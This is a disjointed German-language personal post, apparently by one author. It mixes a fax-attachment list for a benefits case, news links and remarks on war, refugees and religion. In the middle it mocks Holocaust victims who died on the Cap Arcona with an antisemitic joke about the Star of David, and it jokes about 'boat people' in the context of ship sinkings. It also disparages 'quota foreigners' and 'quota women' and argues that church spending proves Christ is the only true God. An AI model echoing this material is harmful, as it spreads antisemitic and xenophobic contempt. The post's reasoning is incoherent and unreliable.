Datenhehler der wollte Kunden von mir (Krankenhäuser, Rechtsanwälte, Personalberatungen, Finanzdienst-leister alle auf Diskretion angewiesen) erpressen mit seinem ?Direktmarketing?-betrieb im Bad Homburger Industriegebiet! Kein Bedarf an solchen Schweinereien.
Maximilian Bähring
Anlagen: (1. Fax): Prozesskostenhilfebogen 4 S. und Beiblatt 2 S. (doppelseitig).
(im
2. Fax) 2 Jugendamtsschreiben je 1 S. v 28.9.2000 und 1.11.2000,
letzter Weiterbewilligungsantrag vom 14.01.2015 und zueghöriger Bescheid
vom 16.01.2015 Arbeitslosengeld 2 (urschriftlich doppelseitig 8 Blatt
im Fax einseitig 15Seiten)
http://www.zeit.de/news/2015-06/19/uebersicht-kein-strafprozess-gegen-damaligen-oberst-klein-wegen-kundus-angriffs-19093805
Öcalans PKK-Jugend und die Tito Kommunistinnen wissen es natürlich ganz
genau wenn deustche Wehrkraft zersetzt werden soll. genau deshab bin ich
gegen Quotenausländer in Führungsämtern (F. De Klerk in Südafrika) oder
Quotenfrauen die meinen ein AWACS Einsatz wäre das selbe wie ein
ECR-Tornado-Einsatz.
https://en.wikipedia.org/wiki/SS_Cap_Arcona_%281927%29
?Cap Arcona??'?s final use was as a prison ship. In May 1945 she was
heavily laden with prisoners from Nazi concentration camps when the
Royal Air Force sank her, killing about 5,000 people; ? one of the
biggest single-incident maritime losses of life in the Second World
War.?
Die ROYAL AIR FORCE hatte ja auch ihre Schwirigkeiten die
Streifen-uniformierten mit Sheriff-David-stern von den üblichen
Verdächtigen zu unterscheiden.
Danzig, in den 1940ern, ?Das Boot ist voll? ?
https://en.wikipedia.org/wiki/MV_Wilhelm_Gustloff
The women on board the ship at the time of the sinking were inaccurately
described by Soviet PROPAGANDA as ?SS personnel from the German
concentration camps?, Gestapo personnel, members of the Todt
organization and Nazi officials with their families.[19][20][21]
irgendwo hab ich das schonmal gelesen, am besten nochmal
über einen inzwischen dementen Zeitzeugen verifizieren
?Boatpeople? ;o) *zwinker*
http://www.bild.de/politik/ausland/fluechtling/die-fotos-der-schande-41377354.bild.html
http://www.militaryhistoryonline.com/wwii/articles/wilhelmgustloff.aspx
Als (aufständsiche) Regierung überlasse ich dem Bürger die Entscheidung ob er lieber Pferde oder Fußball haben will.
http://www.hr-online.de/website/rubriken/nachrichten/indexhessen34938.jsp?rubrik=36082&key=standard_document_55668911
Faxnummer beachten!
Und die Budhisten, Moslems und Hindus meinen immer noch es hande sich bei den Christen um eien Verschwörerische gruppe die einfachso aus Spaß für Milliadren Kirchen und Dome baut die keiner wirklich braucht. Das ist der Beweis dafür daß Christus der einzig echte Gott ist - sonst würde die Kiche ja nicht so viel Geld zum Fenster rauswerfen für den Bau von Tempeln wenn dem nicht so wäre.
http://www.mdr.de/nachrichten/papst-besuch-turiner-grabtuch-100.html
Seht
euch das Turiner Grabtuch an! Es ist ECHT. Ein Bildnis der Herrn.
Das meint der Papst - eine Autorität die höher steht als jede
wissenschaftliche Vernunft! Also haben die kahtolischen Christen Recht
und die Portestanten nicht was den Messias angeht. ;o)
https://de.wikipedia.org/wiki/Turiner_Grabtuch#Probenentnahme.2C_Messung_und_Resultatedas
ergebnis hat überhaupt keine relevanz für den buchenwald in der wachau http://www.tradebit.com/usr/stock-photos/pub/9001/1733297.jpg
Niemand, asolurt niemdn würde für falsche Götzentempel so viel Geld zum Fenster rauswerfen. deshalb sind auch alle außer den Budhisten, Hindus Juden römischen Katholiken also ?. Anhänger falscher Propheten wenn sie kein Geld für den Petersdom zahlen.